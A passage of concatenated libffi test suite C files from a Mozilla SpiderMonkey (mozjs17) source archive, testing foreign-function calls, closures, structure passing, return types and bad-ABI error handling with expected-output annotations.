15 0x1234567c 6 7" } CHECK(ffi_prep_closure_loc(pcl, &cif, cls_large_fn, NULL, code) == FFI_OK); retVal = ((BigStruct(*)( uint8_t, int8_t, uint16_t, int16_t, uint32_t, int32_t, uint64_t, int64_t, float, double, long double, char*, uint8_t, int8_t, uint16_t, int16_t, uint32_t, int32_t, uint64_t, int64_t, float, double, long double, char*, uint8_t, int8_t, uint16_t, int16_t, uint32_t, int32_t, uint64_t, int64_t, float, double, long double, char*, uint8_t, int8_t, uint16_t, int16_t, uint32_t, int32_t, uint64_t, int64_t, float, double, long double, char*, uint8_t, int8_t))(code))( ui8, si8, ui16, si16, ui32, si32, ui64, si64, f, d, ld, p, ui8, si8, ui16, si16, ui32, si32, ui64, si64, f, d, ld, p, ui8, si8, ui16, si16, ui32, si32, ui64, si64, f, d, ld, p, ui8, si8, ui16, si16, ui32, si32, ui64, si64, f, d, ld, p, ui8, si8); // { dg-output "\n1 2 3 4 5 6 7 8 9 10 11 0x12345678 1 2 3 4 5 6 7 8 9 10 11 0x12345678 1 2 3 4 5 6 7 8 9 10 11 0x12345678 1 2 3 4 5 6 7 8 9 10 11 0x12345678 1 2: 2 3 4 5 6 7 8 9 10 11 12 0x12345679 3 4 5 6 7 8 9 10 11 12 13 0x1234567a 4 5 6 7 8 9 10 11 12 13 14 0x1234567b 5 6 7 8 9 10 11 12 13 14 15 0x1234567c 6 7" } printf("res: %hhu %hhd %hu %hd %u %d %" PRIu64 " %" PRId64 " %.0f %.0f %.0Lf %#lx " "%hhu %hhd %hu %hd %u %d %" PRIu64 " %" PRId64 " %.0f %.0f %.0Lf %#lx " "%hhu %hhd %hu %hd %u %d %" PRIu64 " %" PRId64 " %.0f %.0f %.0Lf %#lx " "%hhu %hhd %hu %hd %u %d %" PRIu64 " %" PRId64 " %.0f %.0f %.0Lf %#lx %hhu %hhd\n", retVal.a, retVal.b, retVal.c, retVal.d, retVal.e, retVal.f, retVal.g, retVal.h, retVal.i, retVal.j, retVal.k, (unsigned long)retVal.l, retVal.m, retVal.n, retVal.o, retVal.p, retVal.q, retVal.r, retVal.s, retVal.t, retVal.u, retVal.v, retVal.w, (unsigned long)retVal.x, retVal.y, retVal.z, retVal.aa, retVal.bb, retVal.cc, retVal.dd, retVal.ee, retVal.ff, retVal.gg, retVal.hh, retVal.ii, (unsigned long)retVal.jj, retVal.kk, retVal.ll, retVal.mm, retVal.nn, retVal.oo, retVal.pp, retVal.qq, retVal.rr, retVal.ss, retVal.tt, retVal.uu, (unsigned long)retVal.vv, retVal.ww, retVal.xx); // { dg-output "\nres: 2 3 4 5 6 7 8 9 10 11 12 0x12345679 3 4 5 6 7 8 9 10 11 12 13 0x1234567a 4 5 6 7 8 9 10 11 12 13 14 0x1234567b 5 6 7 8 9 10 11 12 13 14 15 0x1234567c 6 7" } return 0; } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/struct4.c0000664000175000017500000000247212106270662024524 0ustar sstanglsstangl/* Area: ffi_call Purpose: Check structures. Limitations: none. PR: none. Originator: From the original ffitest.c */ /* { dg-do run } */ #include "ffitest.h" typedef struct { unsigned ui1; unsigned ui2; unsigned ui3; } test_structure_4; static test_structure_4 struct4(test_structure_4 ts) { ts.ui3 = ts.ui1 * ts.ui2 * ts.ui3; return ts; } int main (void) { ffi_cif cif; ffi_type *args[MAX_ARGS]; void *values[MAX_ARGS]; ffi_type ts4_type; ffi_type *ts4_type_elements[4]; ts4_type.size = 0; ts4_type.alignment = 0; ts4_type.type = FFI_TYPE_STRUCT; test_structure_4 ts4_arg; ts4_type.elements = ts4_type_elements; ts4_type_elements[0] = &ffi_type_uint; ts4_type_elements[1] = &ffi_type_uint; ts4_type_elements[2] = &ffi_type_uint; ts4_type_elements[3] = NULL; /* This is a hack to get a properly aligned result buffer */ test_structure_4 *ts4_result = (test_structure_4 *) malloc (sizeof(test_structure_4)); args[0] = &ts4_type; values[0] = &ts4_arg; /* Initialize the cif */ CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 1, &ts4_type, args) == FFI_OK); ts4_arg.ui1 = 2; ts4_arg.ui2 = 3; ts4_arg.ui3 = 4; ffi_call (&cif, FFI_FN(struct4), ts4_result, values); CHECK(ts4_result->ui3 == 2U * 3U * 4U); free (ts4_result); exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/cls_uint.c0000664000175000017500000000210312106270662024723 0ustar sstanglsstangl/* Area: closure_call Purpose: Check return value uint. Limitations: none. PR: none. Originator: 20030828 */ /* { dg-do run } */ #include "ffitest.h" static void cls_ret_uint_fn(ffi_cif* cif __UNUSED__, void* resp, void** args, void* userdata __UNUSED__) { *(ffi_arg *)resp = *(unsigned int *)args[0]; printf("%d: %d\n",*(unsigned int *)args[0], (int)*(ffi_arg *)(resp)); } typedef unsigned int (*cls_ret_uint)(unsigned int); int main (void) { ffi_cif cif; void *code; ffi_closure *pcl = ffi_closure_alloc(sizeof(ffi_closure), &code); ffi_type * cl_arg_types[2]; unsigned int res; cl_arg_types[0] = &ffi_type_uint; cl_arg_types[1] = NULL; /* Initialize the cif */ CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 1, &ffi_type_uint, cl_arg_types) == FFI_OK); CHECK(ffi_prep_closure_loc(pcl, &cif, cls_ret_uint_fn, NULL, code) == FFI_OK); res = (*((cls_ret_uint)code))(2147483647); /* { dg-output "2147483647: 2147483647" } */ printf("res: %d\n",res); /* { dg-output "\nres: 2147483647" } */ exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/cls_64byte.c0000664000175000017500000000752012106270662025071 0ustar sstanglsstangl/* Area: ffi_call, closure_call Purpose: Check structure passing with different structure size. Depending on the ABI. Check bigger struct which overlaps the gp and fp register count on Darwin/AIX/ppc64. Limitations: none. PR: none. Originator: 20030828 */ /* { dg-do run } */ #include "ffitest.h" typedef struct cls_struct_64byte { double a; double b; double c; double d; double e; double f; double g; double h; } cls_struct_64byte; cls_struct_64byte cls_struct_64byte_fn(struct cls_struct_64byte b0, struct cls_struct_64byte b1, struct cls_struct_64byte b2, struct cls_struct_64byte b3) { struct cls_struct_64byte result; result.a = b0.a + b1.a + b2.a + b3.a; result.b = b0.b + b1.b + b2.b + b3.b; result.c = b0.c + b1.c + b2.c + b3.c; result.d = b0.d + b1.d + b2.d + b3.d; result.e = b0.e + b1.e + b2.e + b3.e; result.f = b0.f + b1.f + b2.f + b3.f; result.g = b0.g + b1.g + b2.g + b3.g; result.h = b0.h + b1.h + b2.h + b3.h; printf("%g %g %g %g %g %g %g %g\n", result.a, result.b, result.c, result.d, result.e, result.f, result.g, result.h); return result; } static void cls_struct_64byte_gn(ffi_cif* cif __UNUSED__, void* resp, void** args, void* userdata __UNUSED__) { struct cls_struct_64byte b0, b1, b2, b3; b0 = *(struct cls_struct_64byte*)(args[0]); b1 = *(struct cls_struct_64byte*)(args[1]); b2 = *(struct cls_struct_64byte*)(args[2]); b3 = *(struct cls_struct_64byte*)(args[3]); *(cls_struct_64byte*)resp = cls_struct_64byte_fn(b0, b1, b2, b3); } int main (void) { ffi_cif cif; void *code; ffi_closure *pcl = ffi_closure_alloc(sizeof(ffi_closure), &code); void* args_dbl[5]; ffi_type* cls_struct_fields[9]; ffi_type cls_struct_type; ffi_type* dbl_arg_types[5]; cls_struct_type.size = 0; cls_struct_type.alignment = 0; cls_struct_type.type = FFI_TYPE_STRUCT; cls_struct_type.elements = cls_struct_fields; struct cls_struct_64byte e_dbl = { 9.0, 2.0, 6.0, 5.0, 3.0, 4.0, 8.0, 1.0 }; struct cls_struct_64byte f_dbl = { 1.0, 2.0, 3.0, 7.0, 2.0, 5.0, 6.0, 7.0 }; struct cls_struct_64byte g_dbl = { 4.0, 5.0, 7.0, 9.0, 1.0, 1.0, 2.0, 9.0 }; struct cls_struct_64byte h_dbl = { 8.0, 6.0, 1.0, 4.0, 0.0, 3.0, 3.0, 1.0 }; struct cls_struct_64byte res_dbl; cls_struct_fields[0] = &ffi_type_double; cls_struct_fields[1] = &ffi_type_double; cls_struct_fields[2] = &ffi_type_double; cls_struct_fields[3] = &ffi_type_double; cls_struct_fields[4] = &ffi_type_double; cls_struct_fields[5] = &ffi_type_double; cls_struct_fields[6] = &ffi_type_double; cls_struct_fields[7] = &ffi_type_double; cls_struct_fields[8] = NULL; dbl_arg_types[0] = &cls_struct_type; dbl_arg_types[1] = &cls_struct_type; dbl_arg_types[2] = &cls_struct_type; dbl_arg_types[3] = &cls_struct_type; dbl_arg_types[4] = NULL; CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 4, &cls_struct_type, dbl_arg_types) == FFI_OK); args_dbl[0] = &e_dbl; args_dbl[1] = &f_dbl; args_dbl[2] = &g_dbl; args_dbl[3] = &h_dbl; args_dbl[4] = NULL; ffi_call(&cif, FFI_FN(cls_struct_64byte_fn), &res_dbl, args_dbl); /* { dg-output "22 15 17 25 6 13 19 18" } */ printf("res: %g %g %g %g %g %g %g %g\n", res_dbl.a, res_dbl.b, res_dbl.c, res_dbl.d, res_dbl.e, res_dbl.f, res_dbl.g, res_dbl.h); /* { dg-output "\nres: 22 15 17 25 6 13 19 18" } */ CHECK(ffi_prep_closure_loc(pcl, &cif, cls_struct_64byte_gn, NULL, code) == FFI_OK); res_dbl = ((cls_struct_64byte(*)(cls_struct_64byte, cls_struct_64byte, cls_struct_64byte, cls_struct_64byte)) (code))(e_dbl, f_dbl, g_dbl, h_dbl); /* { dg-output "\n22 15 17 25 6 13 19 18" } */ printf("res: %g %g %g %g %g %g %g %g\n", res_dbl.a, res_dbl.b, res_dbl.c, res_dbl.d, res_dbl.e, res_dbl.f, res_dbl.g, res_dbl.h); /* { dg-output "\nres: 22 15 17 25 6 13 19 18" } */ exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/err_bad_abi.c0000664000175000017500000000143312106270662025321 0ustar sstanglsstangl/* Area: ffi_prep_cif, ffi_prep_closure Purpose: Test error return for bad ABIs. Limitations: none. PR: none. Originator: Blake Chaffin 6/6/2007 */ /* { dg-do run { xfail *-*-* } } */ #include "ffitest.h" static void dummy_fn(ffi_cif* cif __UNUSED__, void* resp __UNUSED__, void** args __UNUSED__, void* userdata __UNUSED__) {} int main (void) { ffi_cif cif; void *code; ffi_closure *pcl = ffi_closure_alloc(sizeof(ffi_closure), &code); ffi_type* arg_types[1]; arg_types[0] = NULL; CHECK(ffi_prep_cif(&cif, 255, 0, &ffi_type_void, arg_types) == FFI_BAD_ABI); CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 0, &ffi_type_void, arg_types) == FFI_OK); cif.abi= 255; CHECK(ffi_prep_closure_loc(pcl, &cif, dummy_fn, NULL, code) == FFI_BAD_ABI); exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/float2.c0000664000175000017500000000270712106270662024304 0ustar sstanglsstangl/* Area: ffi_call Purpose: Check return value long double. Limitations: none. PR: none. Originator: From the original ffitest.c */ /* { dg-excess-errors "fails" { target x86_64-*-mingw* x86_64-*-cygwin* } } */ /* { dg-do run { xfail x86_64-*-mingw* x86_64-*-cygwin* } } */ #include "ffitest.h" #include "float.h" static long double ldblit(float f) { return (long double) (((long double) f)/ (long double) 3.0); } int main (void) { ffi_cif cif; ffi_type *args[MAX_ARGS]; void *values[MAX_ARGS]; float f; long double ld; args[0] = &ffi_type_float; values[0] = &f; /* Initialize the cif */ CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 1, &ffi_type_longdouble, args) == FFI_OK); f = 3.14159; #if 1 /* This is ifdef'd out for now. long double support under SunOS/gcc is pretty much non-existent. You'll get the odd bus error in library routines like printf(). */ printf ("%Lf\n", ldblit(f)); #endif ld = 666; ffi_call(&cif, FFI_FN(ldblit), &ld, values); #if 1 /* This is ifdef'd out for now. long double support under SunOS/gcc is pretty much non-existent. You'll get the odd bus error in library routines like printf(). */ printf ("%Lf, %Lf, %Lf, %Lf\n", ld, ldblit(f), ld - ldblit(f), LDBL_EPSILON); #endif /* These are not always the same!! Check for a reasonable delta */ if (ld - ldblit(f) < LDBL_EPSILON) puts("long double return value tests ok!"); else CHECK(0); exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/cls_sshort.c0000664000175000017500000000206512106270662025275 0ustar sstanglsstangl/* Area: closure_call Purpose: Check return value sshort. Limitations: none. PR: none. Originator: 20031108 */ /* { dg-do run } */ #include "ffitest.h" static void cls_ret_sshort_fn(ffi_cif* cif __UNUSED__, void* resp, void** args, void* userdata __UNUSED__) { *(ffi_arg*)resp = *(signed short *)args[0]; printf("%d: %d\n",*(signed short *)args[0], (int)*(ffi_arg *)(resp)); } typedef signed short (*cls_ret_sshort)(signed short); int main (void) { ffi_cif cif; void *code; ffi_closure *pcl = ffi_closure_alloc(sizeof(ffi_closure), &code); ffi_type * cl_arg_types[2]; signed short res; cl_arg_types[0] = &ffi_type_sshort; cl_arg_types[1] = NULL; /* Initialize the cif */ CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 1, &ffi_type_sshort, cl_arg_types) == FFI_OK); CHECK(ffi_prep_closure_loc(pcl, &cif, cls_ret_sshort_fn, NULL, code) == FFI_OK); res = (*((cls_ret_sshort)code))(255); /* { dg-output "255: 255" } */ printf("res: %d\n",res); /* { dg-output "\nres: 255" } */ exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/stret_medium2.c0000664000175000017500000000746112106270662025702 0ustar sstanglsstangl/* Area: ffi_call, closure_call Purpose: Check structure returning with different structure size. Depending on the ABI. Check bigger struct which overlaps the gp and fp register count on Darwin/AIX/ppc64. Limitations: none. PR: none. Originator: Blake Chaffin 6/21/2007 */ /* { dg-do run { xfail strongarm*-*-* xscale*-*-* } } */ /* { dg-options "-Wno-format" { target alpha*-dec-osf* } } */ #include "ffitest.h" typedef struct struct_72byte { double a; double b; double c; double d; double e; double f; double g; double h; long long i; } struct_72byte; struct_72byte cls_struct_72byte_fn( struct_72byte b0, struct_72byte b1, struct_72byte b2, struct_72byte b3) { struct_72byte result; result.a = b0.a + b1.a + b2.a + b3.a; result.b = b0.b + b1.b + b2.b + b3.b; result.c = b0.c + b1.c + b2.c + b3.c; result.d = b0.d + b1.d + b2.d + b3.d; result.e = b0.e + b1.e + b2.e + b3.e; result.f = b0.f + b1.f + b2.f + b3.f; result.g = b0.g + b1.g + b2.g + b3.g; result.h = b0.h + b1.h + b2.h + b3.h; result.i = b0.i + b1.i + b2.i + b3.i; printf("%g %g %g %g %g %g %g %g %" PRIdLL "\n", result.a, result.b, result.c, result.d, result.e, result.f, result.g, result.h, result.i); return result; } static void cls_struct_72byte_gn(ffi_cif* cif __UNUSED__, void* resp, void** args, void* userdata __UNUSED__) { struct_72byte b0, b1, b2, b3; b0 = *(struct_72byte*)(args[0]); b1 = *(struct_72byte*)(args[1]); b2 = *(struct_72byte*)(args[2]); b3 = *(struct_72byte*)(args[3]); *(struct_72byte*)resp = cls_struct_72byte_fn(b0, b1, b2, b3); } int main (void) { ffi_cif cif; void *code; ffi_closure *pcl = ffi_closure_alloc(sizeof(ffi_closure), &code); void* args_dbl[5]; ffi_type* cls_struct_fields[10]; ffi_type cls_struct_type; ffi_type* dbl_arg_types[5]; cls_struct_type.size = 0; cls_struct_type.alignment = 0; cls_struct_type.type = FFI_TYPE_STRUCT; cls_struct_type.elements = cls_struct_fields; struct_72byte e_dbl = { 9.0, 2.0, 6.0, 5.0, 3.0, 4.0, 8.0, 1.0, 7 }; struct_72byte f_dbl = { 1.0, 2.0, 3.0, 7.0, 2.0, 5.0, 6.0, 7.0, 4 }; struct_72byte g_dbl = { 4.0, 5.0, 7.0, 9.0, 1.0, 1.0, 2.0, 9.0, 3 }; struct_72byte h_dbl = { 8.0, 6.0, 1.0, 4.0, 0.0, 3.0, 3.0, 1.0, 2 }; struct_72byte res_dbl; cls_struct_fields[0] = &ffi_type_double; cls_struct_fields[1] = &ffi_type_double; cls_struct_fields[2] = &ffi_type_double; cls_struct_fields[3] = &ffi_type_double; cls_struct_fields[4] = &ffi_type_double; cls_struct_fields[5] = &ffi_type_double; cls_struct_fields[6] = &ffi_type_double; cls_struct_fields[7] = &ffi_type_double; cls_struct_fields[8] = &ffi_type_sint64; cls_struct_fields[9] = NULL; dbl_arg_types[0] = &cls_struct_type; dbl_arg_types[1] = &cls_struct_type; dbl_arg_types[2] = &cls_struct_type; dbl_arg_types[3] = &cls_struct_type; dbl_arg_types[4] = NULL; CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 4, &cls_struct_type, dbl_arg_types) == FFI_OK); args_dbl[0] = &e_dbl; args_dbl[1] = &f_dbl; args_dbl[2] = &g_dbl; args_dbl[3] = &h_dbl; args_dbl[4] = NULL; ffi_call(&cif, FFI_FN(cls_struct_72byte_fn), &res_dbl, args_dbl); /* { dg-output "22 15 17 25 6 13 19 18 16" } */ printf("res: %g %g %g %g %g %g %g %g %" PRIdLL "\n", res_dbl.a, res_dbl.b, res_dbl.c, res_dbl.d, res_dbl.e, res_dbl.f, res_dbl.g, res_dbl.h, res_dbl.i); /* { dg-output "\nres: 22 15 17 25 6 13 19 18 16" } */ CHECK(ffi_prep_closure_loc(pcl, &cif, cls_struct_72byte_gn, NULL, code) == FFI_OK); res_dbl = ((struct_72byte(*)(struct_72byte, struct_72byte, struct_72byte, struct_72byte))(code))(e_dbl, f_dbl, g_dbl, h_dbl); /* { dg-output "\n22 15 17 25 6 13 19 18 16" } */ printf("res: %g %g %g %g %g %g %g %g %" PRIdLL "\n", res_dbl.a, res_dbl.b, res_dbl.c, res_dbl.d, res_dbl.e, res_dbl.f, res_dbl.g, res_dbl.h, res_dbl.i); /* { dg-output "\nres: 22 15 17 25 6 13 19 18 16" } */ exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/cls_multi_ushort.c0000664000175000017500000000325312106270662026511 0ustar sstanglsstangl/* Area: ffi_call, closure_call Purpose: Check passing of multiple unsigned short values. Limitations: none. PR: PR13221. Originator: 20031129 */ /* { dg-do run } */ #include "ffitest.h" unsigned short test_func_fn(unsigned short a1, unsigned short a2) { unsigned short result; result = a1 + a2; printf("%d %d: %d\n", a1, a2, result); return result; } static void test_func_gn(ffi_cif *cif __UNUSED__, void *rval, void **avals, void *data __UNUSED__) { unsigned short a1, a2; a1 = *(unsigned short *)avals[0]; a2 = *(unsigned short *)avals[1]; *(ffi_arg *)rval = test_func_fn(a1, a2); } typedef unsigned short (*test_type)(unsigned short, unsigned short); int main (void) { ffi_cif cif; void *code; ffi_closure *pcl = ffi_closure_alloc(sizeof(ffi_closure), &code); void * args_dbl[3]; ffi_type * cl_arg_types[3]; ffi_arg res_call; unsigned short a, b, res_closure; a = 2; b = 32765; args_dbl[0] = &a; args_dbl[1] = &b; args_dbl[2] = NULL; cl_arg_types[0] = &ffi_type_ushort; cl_arg_types[1] = &ffi_type_ushort; cl_arg_types[2] = NULL; /* Initialize the cif */ CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 2, &ffi_type_ushort, cl_arg_types) == FFI_OK); ffi_call(&cif, FFI_FN(test_func_fn), &res_call, args_dbl); /* { dg-output "2 32765: 32767" } */ printf("res: %d\n", (unsigned short)res_call); /* { dg-output "\nres: 32767" } */ CHECK(ffi_prep_closure_loc(pcl, &cif, test_func_gn, NULL, code) == FFI_OK); res_closure = (*((test_type)code))(2, 32765); /* { dg-output "\n2 32765: 32767" } */ printf("res: %d\n", res_closure); /* { dg-output "\nres: 32767" } */ exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/closure_fn3.c0000664000175000017500000000553712106270662025343 0ustar sstanglsstangl/* Area: closure_call Purpose: Check multiple values passing from different type. Also, exceed the limit of gpr and fpr registers on PowerPC Darwin. Limitations: none. PR: none. Originator: 20030828 */ /* { dg-do run } */ #include "ffitest.h" static void closure_test_fn3(ffi_cif* cif __UNUSED__, void* resp, void** args, void* userdata) { *(ffi_arg*)resp = (int)*(float *)args[0] +(int)(*(float *)args[1]) + (int)(*(float *)args[2]) + (int)*(float *)args[3] + (int)(*(float *)args[4]) + (int)(*(float *)args[5]) + (int)*(float *)args[6] + (int)(*(float *)args[7]) + (int)(*(double *)args[8]) + (int)*(int *)args[9] + (int)(*(float *)args[10]) + (int)(*(float *)args[11]) + (int)*(int *)args[12] + (int)(*(float *)args[13]) + (int)(*(float *)args[14]) + *(int *)args[15] + (intptr_t)userdata; printf("%d %d %d %d %d %d %d %d %d %d %d %d %d %d %d %d %d: %d\n", (int)*(float *)args[0], (int)(*(float *)args[1]), (int)(*(float *)args[2]), (int)*(float *)args[3], (int)(*(float *)args[4]), (int)(*(float *)args[5]), (int)*(float *)args[6], (int)(*(float *)args[7]), (int)(*(double *)args[8]), (int)*(int *)args[9], (int)(*(float *)args[10]), (int)(*(float *)args[11]), (int)*(int *)args[12], (int)(*(float *)args[13]), (int)(*(float *)args[14]), *(int *)args[15], (int)(intptr_t)userdata, (int)*(ffi_arg *)resp); } typedef int (*closure_test_type3)(float, float, float, float, float, float, float, float, double, int, float, float, int, float, float, int); int main (void) { ffi_cif cif; void *code; ffi_closure *pcl = ffi_closure_alloc(sizeof(ffi_closure), &code); ffi_type * cl_arg_types[17]; int res; cl_arg_types[0] = &ffi_type_float; cl_arg_types[1] = &ffi_type_float; cl_arg_types[2] = &ffi_type_float; cl_arg_types[3] = &ffi_type_float; cl_arg_types[4] = &ffi_type_float; cl_arg_types[5] = &ffi_type_float; cl_arg_types[6] = &ffi_type_float; cl_arg_types[7] = &ffi_type_float; cl_arg_types[8] = &ffi_type_double; cl_arg_types[9] = &ffi_type_sint; cl_arg_types[10] = &ffi_type_float; cl_arg_types[11] = &ffi_type_float; cl_arg_types[12] = &ffi_type_sint; cl_arg_types[13] = &ffi_type_float; cl_arg_types[14] = &ffi_type_float; cl_arg_types[15] = &ffi_type_sint; cl_arg_types[16] = NULL; /* Initialize the cif */ CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 16, &ffi_type_sint, cl_arg_types) == FFI_OK); CHECK(ffi_prep_closure_loc(pcl, &cif, closure_test_fn3, (void *) 3 /* userdata */, code) == FFI_OK); res = (*((closure_test_type3)code)) (1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9, 10, 11.11, 12.0, 13, 19.19, 21.21, 1); /* { dg-output "1 2 3 4 5 6 7 8 9 10 11 12 13 19 21 1 3: 135" } */ printf("res: %d\n",res); /* { dg-output "\nres: 135" } */ exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/cls_pointer_stack.c0000664000175000017500000001013012106270662026610 0ustar sstanglsstangl/* Area: ffi_call, closure_call Purpose: Check pointer arguments across multiple hideous stack frames. Limitations: none. PR: none. Originator: Blake Chaffin 6/7/2007 */ /* { dg-do run { xfail strongarm*-*-* xscale*-*-* } } */ #include "ffitest.h" static long dummyVar; long dummy_func( long double a1, char b1, long double a2, char b2, long double a3, char b3, long double a4, char b4) { return a1 + b1 + a2 + b2 + a3 + b3 + a4 + b4; } void* cls_pointer_fn2(void* a1, void* a2) { long double trample1 = (intptr_t)a1 + (intptr_t)a2; char trample2 = ((char*)&a1)[0] + ((char*)&a2)[0]; long double trample3 = (intptr_t)trample1 + (intptr_t)a1; char trample4 = trample2 + ((char*)&a1)[1]; long double trample5 = (intptr_t)trample3 + (intptr_t)a2; char trample6 = trample4 + ((char*)&a2)[1]; long double trample7 = (intptr_t)trample5 + (intptr_t)trample1; char trample8 = trample6 + trample2; dummyVar = dummy_func(trample1, trample2, trample3, trample4, trample5, trample6, trample7, trample8); void* result = (void*)((intptr_t)a1 + (intptr_t)a2); printf("0x%08x 0x%08x: 0x%08x\n", (unsigned int)(uintptr_t) a1, (unsigned int)(uintptr_t) a2, (unsigned int)(uintptr_t) result); return result; } void* cls_pointer_fn1(void* a1, void* a2) { long double trample1 = (intptr_t)a1 + (intptr_t)a2; char trample2 = ((char*)&a1)[0] + ((char*)&a2)[0]; long double trample3 = (intptr_t)trample1 + (intptr_t)a1; char trample4 = trample2 + ((char*)&a1)[1]; long double trample5 = (intptr_t)trample3 + (intptr_t)a2; char trample6 = trample4 + ((char*)&a2)[1]; long double trample7 = (intptr_t)trample5 + (intptr_t)trample1; char trample8 = trample6 + trample2; dummyVar = dummy_func(trample1, trample2, trample3, trample4, trample5, trample6, trample7, trample8); void* result = (void*)((intptr_t)a1 + (intptr_t)a2); printf("0x%08x 0x%08x: 0x%08x\n", (unsigned int)(intptr_t) a1, (unsigned int)(intptr_t) a2, (unsigned int)(intptr_t) result); result = cls_pointer_fn2(result, a1); return result; } static void cls_pointer_gn(ffi_cif* cif __UNUSED__, void* resp, void** args, void* userdata __UNUSED__) { void* a1 = *(void**)(args[0]); void* a2 = *(void**)(args[1]); long double trample1 = (intptr_t)a1 + (intptr_t)a2; char trample2 = ((char*)&a1)[0] + ((char*)&a2)[0]; long double trample3 = (intptr_t)trample1 + (intptr_t)a1; char trample4 = trample2 + ((char*)&a1)[1]; long double trample5 = (intptr_t)trample3 + (intptr_t)a2; char trample6 = trample4 + ((char*)&a2)[1]; long double trample7 = (intptr_t)trample5 + (intptr_t)trample1; char trample8 = trample6 + trample2; dummyVar = dummy_func(trample1, trample2, trample3, trample4, trample5, trample6, trample7, trample8); *(void**)resp = cls_pointer_fn1(a1, a2); } int main (void) { ffi_cif cif; void *code; ffi_closure* pcl = ffi_closure_alloc(sizeof(ffi_closure), &code); void* args[3]; // ffi_type cls_pointer_type; ffi_type* arg_types[3]; /* cls_pointer_type.size = sizeof(void*); cls_pointer_type.alignment = 0; cls_pointer_type.type = FFI_TYPE_POINTER; cls_pointer_type.elements = NULL;*/ void* arg1 = (void*)0x01234567; void* arg2 = (void*)0x89abcdef; ffi_arg res = 0; arg_types[0] = &ffi_type_pointer; arg_types[1] = &ffi_type_pointer; arg_types[2] = NULL; CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 2, &ffi_type_pointer, arg_types) == FFI_OK); args[0] = &arg1; args[1] = &arg2; args[2] = NULL; printf("\n"); ffi_call(&cif, FFI_FN(cls_pointer_fn1), &res, args); printf("res: 0x%08x\n", (unsigned int) res); // { dg-output "\n0x01234567 0x89abcdef: 0x8acf1356" } // { dg-output "\n0x8acf1356 0x01234567: 0x8bf258bd" } // { dg-output "\nres: 0x8bf258bd" } CHECK(ffi_prep_closure_loc(pcl, &cif, cls_pointer_gn, NULL, code) == FFI_OK); res = (ffi_arg)((void*(*)(void*, void*))(code))(arg1, arg2); printf("res: 0x%08x\n", (unsigned int) res); // { dg-output "\n0x01234567 0x89abcdef: 0x8acf1356" } // { dg-output "\n0x8acf1356 0x01234567: 0x8bf258bd" } // { dg-output "\nres: 0x8bf258bd" } exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/cls_20byte.c0000664000175000017500000000475312106270662025066 0ustar sstanglsstangl/* Area: ffi_call, closure_call Purpose: Check structure passing with different structure size. Depending on the ABI. Check overlapping. Limitations: none. PR: none. Originator: 20030828 */ /* { dg-do run } */ #include "ffitest.h" typedef struct cls_struct_20byte { double a; double b; int c; } cls_struct_20byte; cls_struct_20byte cls_struct_20byte_fn(struct cls_struct_20byte a1, struct cls_struct_20byte a2) { struct cls_struct_20byte result; result.a = a1.a + a2.a; result.b = a1.b + a2.b; result.c = a1.c + a2.c; printf("%g %g %d %g %g %d: %g %g %d\n", a1.a, a1.b, a1.c, a2.a, a2.b, a2.c, result.a, result.b, result.c); return result; } static void cls_struct_20byte_gn(ffi_cif* cif __UNUSED__, void* resp, void** args, void* userdata __UNUSED__) { struct cls_struct_20byte a1, a2; a1 = *(struct cls_struct_20byte*)(args[0]); a2 = *(struct cls_struct_20byte*)(args[1]); *(cls_struct_20byte*)resp = cls_struct_20byte_fn(a1, a2); } int main (void) { ffi_cif cif; void *code; ffi_closure *pcl = ffi_closure_alloc(sizeof(ffi_closure), &code); void* args_dbl[5]; ffi_type* cls_struct_fields[4]; ffi_type cls_struct_type; ffi_type* dbl_arg_types[5]; cls_struct_type.size = 0; cls_struct_type.alignment = 0; cls_struct_type.type = FFI_TYPE_STRUCT; cls_struct_type.elements = cls_struct_fields; struct cls_struct_20byte g_dbl = { 1.0, 2.0, 3 }; struct cls_struct_20byte f_dbl = { 4.0, 5.0, 7 }; struct cls_struct_20byte res_dbl; cls_struct_fields[0] = &ffi_type_double; cls_struct_fields[1] = &ffi_type_double; cls_struct_fields[2] = &ffi_type_sint; cls_struct_fields[3] = NULL; dbl_arg_types[0] = &cls_struct_type; dbl_arg_types[1] = &cls_struct_type; dbl_arg_types[2] = NULL; CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 2, &cls_struct_type, dbl_arg_types) == FFI_OK); args_dbl[0] = &g_dbl; args_dbl[1] = &f_dbl; args_dbl[2] = NULL; ffi_call(&cif, FFI_FN(cls_struct_20byte_fn), &res_dbl, args_dbl); /* { dg-output "1 2 3 4 5 7: 5 7 10" } */ printf("res: %g %g %d\n", res_dbl.a, res_dbl.b, res_dbl.c); /* { dg-output "\nres: 5 7 10" } */ CHECK(ffi_prep_closure_loc(pcl, &cif, cls_struct_20byte_gn, NULL, code) == FFI_OK); res_dbl = ((cls_struct_20byte(*)(cls_struct_20byte, cls_struct_20byte))(code))(g_dbl, f_dbl); /* { dg-output "\n1 2 3 4 5 7: 5 7 10" } */ printf("res: %g %g %d\n", res_dbl.a, res_dbl.b, res_dbl.c); /* { dg-output "\nres: 5 7 10" } */ exit(0); } 